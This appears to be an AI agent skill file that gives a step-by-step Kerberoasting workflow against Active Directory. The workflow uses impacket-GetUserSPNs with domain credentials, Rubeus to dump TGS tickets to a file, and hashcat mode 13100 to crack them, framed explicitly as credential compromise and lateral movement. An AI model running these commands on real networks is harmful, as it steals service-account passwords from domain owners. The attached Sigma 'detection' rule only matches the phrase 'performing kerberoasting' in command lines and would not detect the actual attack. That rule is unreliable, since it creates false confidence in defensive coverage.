<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
---
name: performing-kerberoasting-attacks
description: >-
  Execute Kerberoasting attacks to extract service account TGS tickets and crack them offline for credential compromise and lateral movement.
domain: cybersecurity
subdomain: active-directory-security
tags:
  - kerberoasting
  - spn
  - tgs
  - credential-theft
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1558.003"]
  frameworks: ["MITRE ATT&CK"]
  tools: ["impacket", "rubeus", "hashcat"]
---

# Performing Kerberoasting Attacks

## Overview

Execute Kerberoasting attacks to extract service account TGS tickets and crack them offline for credential compromise and lateral movement.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `impacket` | Security tooling |
| `rubeus` | Security tooling |
| `hashcat` | Security tooling |
| Impacket suite, Rubeus, domain credentials, hashcat | Environment requirement |

## Quick Reference

```bash
# Quick start commands
node scripts/agent.js --help
impacket-GetUserSPNs -dc-ip {dc_ip} {domain}/{user}:{pass}
```

## Workflow

### Step 1: Enumerate SPNs

```bash
impacket-GetUserSPNs -dc-ip {dc_ip} {domain}/{user}:{pass}
```

### Step 2: Request TGS Tickets

```bash
Rubeus.exe kerberoast /outfile:tgs_hashes.txt
```

### Step 3: Crack Tickets Offline

```bash
hashcat -m 13100 tgs_hashes.txt wordlist.txt
```

## Detection

```yaml
title: Kerberoasting Attacks Detection
id: 371eecda-2d20-4063-8f61-8113d75bd5e8
status: experimental
description: Detects suspicious activity related to performing kerberoasting attacks techniques in active directory security context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*performing*kerberoasting*"
  condition: selection
level: medium
tags:
  - attack.t1558.003
  - attack.credential_access
falsepositives:
  - Authorized Active Directory administration using approved management tools
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Kerberoasting Attacks Detection | windows/process_creation | Sigma rule (medium) |
| ATT&CK Coverage | MITRE ATT&CK | T1558.003 |

## Verification

- **Verify SPN targets found**: `node scripts/agent.js enumerate --domain corp.local --dc-ip 10.0.0.1`
- **Confirm hash extraction**: `node scripts/agent.js extract --domain corp.local --dc-ip 10.0.0.1`

## References

- MITRE ATT&CK: T1558.003
- Frameworks: MITRE ATT&CK
- Tools: impacket, rubeus, hashcat
